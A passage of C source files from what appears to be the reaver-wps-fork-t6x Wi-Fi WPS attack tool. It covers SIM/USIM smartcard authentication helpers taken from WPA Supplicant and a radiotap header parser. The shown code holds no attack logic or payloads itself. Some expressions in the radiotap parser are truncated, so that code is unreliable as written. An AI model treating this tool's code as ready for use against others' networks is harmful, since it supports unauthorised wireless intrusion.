(buf[1] >> 4 & 0x0f); for (i = 2; i < blen; i++) { unsigned char digit; digit = buf[i] & 0x0f; if (digit < 10) *pos++ = '0' + digit; else imsilen--; digit = buf[i] >> 4 & 0x0f; if (digit < 10) *pos++ = '0' + digit; else imsilen--; } *len = imsilen; return 0; } /** * scard_gsm_auth - Run GSM authentication command on SIM card * @scard: Pointer to private data from scard_init() * @_rand: 16-byte RAND value from HLR/AuC * @sres: 4-byte buffer for SRES * @kc: 8-byte buffer for Kc * Returns: 0 on success, -1 if SIM/USIM connection has not been initialized, * -2 if authentication command execution fails, -3 if unknown response code * for authentication command is received, -4 if reading of response fails, * -5 if if response data is of unexpected length * * This function performs GSM authentication using SIM/USIM card and the * provided RAND value from HLR/AuC. If authentication command can be completed * successfully, SRES and Kc values will be written into sres and kc buffers. */ int scard_gsm_auth(struct scard_data *scard, const unsigned char *_rand, unsigned char *sres, unsigned char *kc) { unsigned char cmd[5 + 1 + 16] = { SIM_CMD_RUN_GSM_ALG }; int cmdlen; unsigned char get_resp[5] = { SIM_CMD_GET_RESPONSE }; unsigned char resp[3], buf[12 + 3 + 2]; size_t len; long ret; if (scard == NULL) return -1; wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - RAND", _rand, 16); if (scard->sim_type == SCARD_GSM_SIM) { cmdlen = 5 + 16; os_memcpy(cmd + 5, _rand, 16); } else { cmdlen = 5 + 1 + 16; cmd[0] = USIM_CLA; cmd[3] = 0x80; cmd[4] = 17; cmd[5] = 16; os_memcpy(cmd + 6, _rand, 16); } len = sizeof(resp); ret = scard_transmit(scard, cmd, cmdlen, resp, &len); if (ret != SCARD_S_SUCCESS) return -2; if ((scard->sim_type == SCARD_GSM_SIM && (len != 2 || resp[0] != 0x9f || resp[1] != 0x0c)) || (scard->sim_type == SCARD_USIM && (len != 2 || resp[0] != 0x61 || resp[1] != 0x0e))) { wpa_printf(MSG_WARNING, "SCARD: unexpected response for GSM " "auth request (len=%ld resp=%02x %02x)", (long) len, resp[0], resp[1]); return -3; } get_resp[4] = resp[1]; len = sizeof(buf); ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &len); if (ret != SCARD_S_SUCCESS) return -4; if (scard->sim_type == SCARD_GSM_SIM) { if (len != 4 + 8 + 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected data " "length for GSM auth (len=%ld, expected 14)", (long) len); return -5; } os_memcpy(sres, buf, 4); os_memcpy(kc, buf + 4, 8); } else { if (len != 1 + 4 + 1 + 8 + 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected data " "length for USIM auth (len=%ld, " "expected 16)", (long) len); return -5; } if (buf[0] != 4 || buf[5] != 8) { wpa_printf(MSG_WARNING, "SCARD: unexpected SREC/Kc " "length (%d %d, expected 4 8)", buf[0], buf[5]); } os_memcpy(sres, buf + 1, 4); os_memcpy(kc, buf + 6, 8); } wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - SRES", sres, 4); wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - Kc", kc, 8); return 0; } /** * scard_umts_auth - Run UMTS authentication command on USIM card * @scard: Pointer to private data from scard_init() * @_rand: 16-byte RAND value from HLR/AuC * @autn: 16-byte AUTN value from HLR/AuC * @res: 16-byte buffer for RES * @res_len: Variable that will be set to RES length * @ik: 16-byte buffer for IK * @ck: 16-byte buffer for CK * @auts: 14-byte buffer for AUTS * Returns: 0 on success, -1 on failure, or -2 if USIM reports synchronization * failure * * This function performs AKA authentication using USIM card and the provided * RAND and AUTN values from HLR/AuC. If authentication command can be * completed successfully, RES, IK, and CK values will be written into provided * buffers and res_len is set to length of received RES value. If USIM reports * synchronization failure, the received AUTS value will be written into auts * buffer. In this case, RES, IK, and CK are not valid. */ int scard_umts_auth(struct scard_data *scard, const unsigned char *_rand, const unsigned char *autn, unsigned char *res, size_t *res_len, unsigned char *ik, unsigned char *ck, unsigned char *auts) { unsigned char cmd[5 + 1 + AKA_RAND_LEN + 1 + AKA_AUTN_LEN] = { USIM_CMD_RUN_UMTS_ALG }; unsigned char get_resp[5] = { USIM_CMD_GET_RESPONSE }; unsigned char resp[3], buf[64], *pos, *end; size_t len; long ret; if (scard == NULL) return -1; if (scard->sim_type == SCARD_GSM_SIM) { wpa_printf(MSG_ERROR, "SCARD: Non-USIM card - cannot do UMTS " "auth"); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: UMTS auth - RAND", _rand, AKA_RAND_LEN); wpa_hexdump(MSG_DEBUG, "SCARD: UMTS auth - AUTN", autn, AKA_AUTN_LEN); cmd[5] = AKA_RAND_LEN; os_memcpy(cmd + 6, _rand, AKA_RAND_LEN); cmd[6 + AKA_RAND_LEN] = AKA_AUTN_LEN; os_memcpy(cmd + 6 + AKA_RAND_LEN + 1, autn, AKA_AUTN_LEN); len = sizeof(resp); ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); if (ret != SCARD_S_SUCCESS) return -1; if (len <= sizeof(resp)) wpa_hexdump(MSG_DEBUG, "SCARD: UMTS alg response", resp, len); if (len == 2 && resp[0] == 0x98 && resp[1] == 0x62) { wpa_printf(MSG_WARNING, "SCARD: UMTS auth failed - " "MAC != XMAC"); return -1; } else if (len != 2 || resp[0] != 0x61) { wpa_printf(MSG_WARNING, "SCARD: unexpected response for UMTS " "auth request (len=%ld resp=%02x %02x)", (long) len, resp[0], resp[1]); return -1; } get_resp[4] = resp[1]; len = sizeof(buf); ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &len); if (ret != SCARD_S_SUCCESS || len > sizeof(buf)) return -1; wpa_hexdump(MSG_DEBUG, "SCARD: UMTS get response result", buf, len); if (len >= 2 + AKA_AUTS_LEN && buf[0] == 0xdc && buf[1] == AKA_AUTS_LEN) { wpa_printf(MSG_DEBUG, "SCARD: UMTS Synchronization-Failure"); os_memcpy(auts, buf + 2, AKA_AUTS_LEN); wpa_hexdump(MSG_DEBUG, "SCARD: AUTS", auts, AKA_AUTS_LEN); return -2; } else if (len >= 6 + IK_LEN + CK_LEN && buf[0] == 0xdb) { pos = buf + 1; end = buf + len; /* RES */ if (pos[0] > RES_MAX_LEN || pos + pos[0] > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid RES"); return -1; } *res_len = *pos++; os_memcpy(res, pos, *res_len); pos += *res_len; wpa_hexdump(MSG_DEBUG, "SCARD: RES", res, *res_len); /* CK */ if (pos[0] != CK_LEN || pos + CK_LEN > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid CK"); return -1; } pos++; os_memcpy(ck, pos, CK_LEN); pos += CK_LEN; wpa_hexdump(MSG_DEBUG, "SCARD: CK", ck, CK_LEN); /* IK */ if (pos[0] != IK_LEN || pos + IK_LEN > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid IK"); return -1; } pos++; os_memcpy(ik, pos, IK_LEN); pos += IK_LEN; wpa_hexdump(MSG_DEBUG, "SCARD: IK", ik, IK_LEN); return 0; } wpa_printf(MSG_DEBUG, "SCARD: Unrecognized response"); return -1; } reaver-wps-fork-t6x-1.6.6/src/utils/pcsc_funcs.h000077500000000000000000000037021363372615500215430ustar00rootroot00000000000000/* * WPA Supplicant / PC/SC smartcard interface for USIM, GSM SIM * Copyright (c) 2004-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PCSC_FUNCS_H #define PCSC_FUNCS_H /* GSM files * File type in first octet: * 3F = Master File * 7F = Dedicated File * 2F = Elementary File under the Master File * 6F = Elementary File under a Dedicated File */ #define SCARD_FILE_MF 0x3F00 #define SCARD_FILE_GSM_DF 0x7F20 #define SCARD_FILE_UMTS_DF 0x7F50 #define SCARD_FILE_GSM_EF_IMSI 0x6F07 #define SCARD_FILE_EF_DIR 0x2F00 #define SCARD_FILE_EF_ICCID 0x2FE2 #define SCARD_FILE_EF_CK 0x6FE1 #define SCARD_FILE_EF_IK 0x6FE2 #define SCARD_CHV1_OFFSET 13 #define SCARD_CHV1_FLAG 0x80 typedef enum { SCARD_GSM_SIM_ONLY, SCARD_USIM_ONLY, SCARD_TRY_BOTH } scard_sim_type; #ifdef PCSC_FUNCS struct scard_data * scard_init(scard_sim_type sim_type); void scard_deinit(struct scard_data *scard); int scard_set_pin(struct scard_data *scard, const char *pin); int scard_get_imsi(struct scard_data *scard, char *imsi, size_t *len); int scard_gsm_auth(struct scard_data *scard, const unsigned char *_rand, unsigned char *sres, unsigned char *kc); int scard_umts_auth(struct scard_data *scard, const unsigned char *_rand, const unsigned char *autn, unsigned char *res, size_t *res_len, unsigned char *ik, unsigned char *ck, unsigned char *auts); #else /* PCSC_FUNCS */ #define scard_init(s) NULL #define scard_deinit(s) do { } while (0) #define scard_set_pin(s, p) -1 #define scard_get_imsi(s, i, l) -1 #define scard_gsm_auth(s, r, s2, k) -1 #define scard_umts_auth(s, r, a, r2, rl, i, c, a2) -1 #endif /* PCSC_FUNCS */ #endif /* PCSC_FUNCS_H */ reaver-wps-fork-t6x-1.6.6/src/utils/radiotap.c000077500000000000000000000222721363372615500212160ustar00rootroot00000000000000/* * Radiotap parser * * Copyright 2007 Andy Green * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * * Modified for userspace by Johannes Berg * I only modified some things on top to ease syncing should bugs be found. */ #include "includes.h" #include "common.h" #include "radiotap_iter.h" #define le16_to_cpu le_to_host16 #define le32_to_cpu le_to_host32 #define __le32 uint32_t #define ulong unsigned long #define unlikely(cond) (cond) #define get_unaligned(p) \ ({ \ struct packed_dummy_struct { \ typeof(*(p)) __val; \ } __attribute__((packed)) *__ptr = (void *) (p); \ \ __ptr->__val; \ }) /* function prototypes and related defs are in radiotap_iter.h */ /** * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization * @iterator: radiotap_iterator to initialize * @radiotap_header: radiotap header to parse * @max_length: total length we can parse into (eg, whole packet length) * * Returns: 0 or a negative error code if there is a problem. * * This function initializes an opaque iterator struct which can then * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap * argument which is present in the header. It knows about extended * present headers and handles them. * * How to use: * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * checking for a good 0 return code. Then loop calling * __ieee80211_radiotap_iterator_next()... it returns either 0, * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem. * The iterator's @this_arg member points to the start of the argument * associated with the current argument index that is present, which can be * found in the iterator's @this_arg_index member. This arg index corresponds * to the IEEE80211_RADIOTAP_... defines. * * Radiotap header length: * You can find the CPU-endian total radiotap header length in * iterator->max_length after executing ieee80211_radiotap_iterator_init() * successfully. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. * * Example code: * See Documentation/networking/radiotap-headers.txt */ int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length) { /* Linux only supports version 0 radiotap format */ if (radiotap_header->it_version) return -EINVAL; /* sanity check for allowed length and radiotap length field */ if (max_length < le16_to_cpu(get_unaligned(&radiotap_header->it_len))) return -EINVAL; iterator->rtheader = radiotap_header; iterator->max_length = le16_to_cpu(get_unaligned( &radiotap_header->it_len)); iterator->arg_index = 0; iterator->bitmap_shifter = le32_to_cpu(get_unaligned( &radiotap_header->it_present)); iterator->arg = (u8 *)radiotap_header + sizeof(*radiotap_header); iterator->this_arg = NULL; /* find payload start allowing for extended bitmap(s) */ if (unlikely(iterator->bitmap_shifter & (1<arg)) & (1<arg += sizeof(u32); /* * check for insanity where the present bitmaps * keep claiming to extend up to or even beyond the * stated radiotap header length */ if (((ulong)iterator->arg - (ulong)iterator->rtheader) > (ulong)iterator->max_length) return -EINVAL; } iterator->arg += sizeof(u32); /* * no need to check again for blowing past stated radiotap * header length, because ieee80211_radiotap_iterator_next * checks it before it is dereferenced */ } /* we are all initialized happily */ return 0; } /** * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg * @iterator: radiotap_iterator to move to next arg (if any) * * Returns: 0 if there is an argument to handle, * -ENOENT if there are no more args or -EINVAL * if there is something else wrong. * * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*) * in @this_arg_index and sets @this_arg to point to the * payload for the field. It takes care of alignment handling and extended * present fields. @this_arg can be changed by the caller (eg, * incremented to move inside a compound argument like * IEEE80211_RADIOTAP_CHANNEL). The args pointed to are in * little-endian format whatever the endianess of your CPU. * * Alignment Gotcha: * You must take care when dereferencing iterator.this_arg * for multibyte types... the pointer is not aligned. Use * get_unaligned((type *)iterator.this_arg) to dereference * iterator.this_arg for type "type" safely on all arches. */ int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator) { /* * small length lookup table for all radiotap types we heard of * starting from b0 in the bitmap, so we can walk the payload * area of the radiotap header * * There is a requirement to pad args, so that args * of a given length must begin at a boundary of that length * -- but note that compound args are allowed (eg, 2 x u16 * for IEEE80211_RADIOTAP_CHANNEL) so total arg length is not * a reliable indicator of alignment requirement. * * upper nybble: content alignment for arg * lower nybble: content length for arg */ static const u8 rt_sizes[] = { [IEEE80211_RADIOTAP_TSFT] = 0x88, [IEEE80211_RADIOTAP_FLAGS] = 0x11, [IEEE80211_RADIOTAP_RATE] = 0x11, [IEEE80211_RADIOTAP_CHANNEL] = 0x24, [IEEE80211_RADIOTAP_FHSS] = 0x22, [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DBM_ANTNOISE] = 0x11, [IEEE80211_RADIOTAP_LOCK_QUALITY] = 0x22, [IEEE80211_RADIOTAP_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 0x22, [IEEE80211_RADIOTAP_DBM_TX_POWER] = 0x11, [IEEE80211_RADIOTAP_ANTENNA] = 0x11, [IEEE80211_RADIOTAP_DB_ANTSIGNAL] = 0x11, [IEEE80211_RADIOTAP_DB_ANTNOISE] = 0x11, [IEEE80211_RADIOTAP_RX_FLAGS] = 0x22, [IEEE80211_RADIOTAP_TX_FLAGS] = 0x22, [IEEE80211_RADIOTAP_RTS_RETRIES] = 0x11, [IEEE80211_RADIOTAP_DATA_RETRIES] = 0x11, /* * add more here as they are defined in * include/net/ieee80211_radiotap.h */ }; /* * for every radiotap entry we can at * least skip (by knowing the length)... */ while (iterator->arg_index < (int) sizeof(rt_sizes)) { int hit = 0; int pad; if (!(iterator->bitmap_shifter & 1)) goto next_entry; /* arg not present */ /* * arg is present, account for alignment padding * 8-bit args can be at any alignment * 16-bit args must start on 16-bit boundary * 32-bit args must start on 32-bit boundary * 64-bit args must start on 64-bit boundary * * note that total arg size can differ from alignment of * elements inside arg, so we use upper nybble of length * table to base alignment on * * also note: these alignments are ** relative to the * start of the radiotap header **. There is no guarantee * that the radiotap header itself is aligned on any * kind of boundary. * * the above is why get_unaligned() is used to dereference * multibyte elements from the radiotap area */ pad = (((ulong)iterator->arg) - ((ulong)iterator->rtheader)) & ((rt_sizes[iterator->arg_index] >> 4) - 1); if (pad) iterator->arg += (rt_sizes[iterator->arg_index] >> 4) - pad; /* * this is what we will return to user, but we need to * move on first so next call has something fresh to test */ iterator->this_arg_index = iterator->arg_index; iterator->this_arg = iterator->arg; hit = 1; /* internally move on the size of this arg */ iterator->arg += rt_sizes[iterator->arg_index] & 0x0f; /* * check for insanity where we are given a bitmap that * claims to have more arg content than the length of the * radiotap section. We will normally end up equalling this * max_length on the last arg, never exceeding it. */ if (((ulong)iterator->arg - (ulong)iterator->rtheader) > (ulong) iterator->max_length) return -EINVAL; next_entry: iterator->arg_index++; if (unlikely((iterator->arg_index & 31) == 0)) { /* completed current u32 bitmap */ if (iterator->bitmap_shifter & 1) { /* b31 was set, there is more */ /* move to next u32 bitmap */ iterator->bitmap_shifter = le32_to_cpu( get_unaligned(iterator->next_bitmap)); iterator->next_bitmap++; } else /* no more bitmaps: end */ iterator->arg_index = sizeof(rt_sizes); } else /* just try the next bit */ iterator->bitmap_shifter >>= 1; /* if we found a valid arg earlier, return it now */ if (hit) return 0; } /* we don't know how to handle any more args, we're done */ return -ENOENT; } reaver-wps-fork-t6x-1.6.6/src/utils/radiotap.h000066400000000000000000000315761363372615500212270ustar00rootroot00000000000000/*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ /* * Modifications to fit into the linux IEEE 802.11 stack, * Mike Kershaw (dragorn@kismetwireless.net) */ #ifndef IEEE80211RADIOTAP_H #define IEEE80211RADIOTAP_H #include /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* A generic radio capture format is desirable. There is one for * Linux, but it is neither rigidly defined (there were not even * units given for some fields) nor easily extensible. * * I suggest the following extensible radio capture format. It is * based on a bitmap indicating which fields are present. * * I am trying to describe precisely what the application programmer * should expect in the following, and for that reason I tell the * units and origin of each measurement (where it applies), or else I * use sufficiently weaselly language ("is a monotonically nondecreasing * function of...") that I cannot set false expectations for lawyerly * readers. */ /* The radio capture header precedes the 802.11 header. * All data in the header is little endian on all platforms. */ struct ieee80211_radiotap_header { uint8_t it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ uint8_t it_pad; uint16_t it_len; /* length of the whole * header in bytes, including * it_version, it_pad, * it_len, and data fields. */ uint32_t it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT __le64 microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x uint16_t MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS uint16_t see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u8 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY uint16_t unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION uint16_t unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION uint16_t decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u8 bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u8 antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_RX_FLAGS uint16_t bitmap * * Properties of received frames. See flags defined below. * * IEEE80211_RADIOTAP_TX_FLAGS uint16_t bitmap * * Properties of transmitted frames. See flags defined below. * * IEEE80211_RADIOTAP_RTS_RETRIES u8 data * * Number of rts retries a transmitted frame used. * * IEEE80211_RADIOTAP_DATA_RETRIES u8 data * * Number of unicast retries a transmitted frame used. * * IEEE80211_RADIOTAP_MCS u8, u8, u8 unitless * * Contains a bitmap of known fields/flags, the flags, and * the MCS index. * * IEEE80211_RADIOTAP_AMPDU_STATUS u32, u16, u8, u8 unitless * * Contains the AMPDU information for the subframe. * * IEEE80211_RADIOTAP_VHT u16, u8, u8, u8[4], u8, u8, u16 * * Contains VHT information about this frame. * * IEEE80211_RADIOTAP_TIMESTAMP u64, u16, u8, u8 variable * * Contains timestamp information for this frame. */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_MCS = 19, IEEE80211_RADIOTAP_AMPDU_STATUS = 20, IEEE80211_RADIOTAP_VHT = 21, IEEE80211_RADIOTAP_TIMESTAMP = 22, /* valid in every it_present bitmap, even vendor namespaces */ IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29, IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30, IEEE80211_RADIOTAP_EXT = 31 }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ #define IEEE80211_CHAN_GSM 0x1000 /* GSM (900 MHz) */ #define IEEE80211_CHAN_STURBO 0x2000 /* Static Turbo */ #define IEEE80211_CHAN_HALF 0x4000 /* Half channel (10 MHz wide) */ #define IEEE80211_CHAN_QUARTER 0x8000 /* Quarter channel (5 MHz wide) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ #define IEEE80211_RADIOTAP_F_BADFCS 0x40 /* bad FCS */ /* For IEEE80211_RADIOTAP_RX_FLAGS */ #define IEEE80211_RADIOTAP_F_RX_BADPLCP 0x0002 /* frame has bad PLCP */ /* For IEEE80211_RADIOTAP_TX_FLAGS */ #define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ #define IEEE80211_RADIOTAP_F_TX_NOACK 0x0008 /* don't expect an ack */ /* For IEEE80211_RADIOTAP_MCS */ #define IEEE80211_RADIOTAP_MCS_HAVE_BW 0x01 #define IEEE80211_RADIOTAP_MCS_HAVE_MCS 0x02 #define IEEE80211_RADIOTAP_MCS_HAVE_GI 0x04 #define IEEE80211_RADIOTAP_MCS_HAVE_FMT 0x08 #define IEEE80211_RADIOTAP_MCS_HAVE_FEC 0x10 #define IEEE80211_RADIOTAP_MCS_HAVE_STBC 0x20 #define IEEE80211_RADIOTAP_MCS_BW_MASK 0x03 #define IEEE80211_RADIOTAP_MCS_BW_20 0 #define IEEE80211_RADIOTAP_MCS_BW_40 1 #define IEEE80211_RADIOTAP_MCS_BW_20L 2 #define IEEE80211_RADIOTAP_MCS_BW_20U 3 #define IEEE80211_RADIOTAP_MCS_SGI 0x04 #define IEEE80211_RADIOTAP_MCS_FMT_GF 0x08 #define IEEE80211_RADIOTAP_MCS_FEC_LDPC 0x10 #define IEEE80211_RADIOTAP_MCS_STBC_MASK 0x60 #define IEEE80211_RADIOTAP_MCS_STBC_1 1 #define IEEE80211_RADIOTAP_MCS_STBC_2 2 #define IEEE80211_RADIOTAP_MCS_STBC_3 3 #define IEEE80211_RADIOTAP_MCS_STBC_SHIFT 5 /* For IEEE80211_RADIOTAP_AMPDU_STATUS */ #define IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN 0x0001 #define IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN 0x0002 #define IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN 0x0004 #define IEEE80211_RADIOTAP_AMPDU_IS_LAST 0x0008 #define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR 0x0010 #define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN 0x0020 /* For IEEE80211_RADIOTAP_VHT */ #define IEEE80211_RADIOTAP_VHT_KNOWN_STBC 0x0001 #define IEEE80211_RADIOTAP_VHT_KNOWN_TXOP_PS_NA 0x0002 #define IEEE80211_RADIOTAP_VHT_KNOWN_GI 0x0004 #define IEEE80211_RADIOTAP_VHT_KNOWN_SGI_NSYM_DIS 0x0008 #define IEEE80211_RADIOTAP_VHT_KNOWN_LDPC_EXTRA_OFDM_SYM 0x0010 #define IEEE80211_RADIOTAP_VHT_KNOWN_BEAMFORMED 0x0020 #define IEEE80211_RADIOTAP_VHT_KNOWN_BANDWIDTH 0x0040 #define IEEE80211_RADIOTAP_VHT_KNOWN_GROUP_ID 0x0080 #define IEEE80211_RADIOTAP_VHT_KNOWN_PARTIAL_AID 0x0100 #define IEEE80211_RADIOTAP_VHT_FLAG_STBC 0x01 #define IEEE80211_RADIOTAP_VHT_FLAG_TXOP_PS_NA 0x02 #define IEEE80211_RADIOTAP_VHT_FLAG_SGI 0x04 #define IEEE80211_RADIOTAP_VHT_FLAG_SGI_NSYM_M10_9 0x08 #define IEEE80211_RADIOTAP_VHT_FLAG_LDPC_EXTRA_OFDM_SYM 0x10 #define IEEE80211_RADIOTAP_VHT_FLAG_BEAMFORMED 0x20 #define IEEE80211_RADIOTAP_CODING_LDPC_USER0 0x01 #define IEEE80211_RADIOTAP_CODING_LDPC_USER1 0x02 #define IEEE80211_RADIOTAP_CODING_LDPC_USER2 0x04 #define IEEE80211_RADIOTAP_CODING_LDPC_USER3 0x08 /* For IEEE80211_RADIOTAP_TIMESTAMP */ #define IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MASK 0x000F #define IEEE80211_RADIOTAP_TIMESTAMP_UNIT_MS 0x0000 #define IEEE80211_RADIOTAP_TIMESTAMP_UNIT_US 0x0001 #define IEEE80211_RADIOTAP_TIMESTAMP_UNIT_NS 0x0003 #define IEEE80211_RADIOTAP_TIMESTAMP_SPOS_MASK 0x00F0 #define IEEE80211_RADIOTAP_TIMESTAMP_SPOS_BEGIN_MDPU 0x0000 #define IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_MPDU 0x0010 #define IEEE80211_RADIOTAP_TIMESTAMP_SPOS_EO_PPDU 0x0020 #define 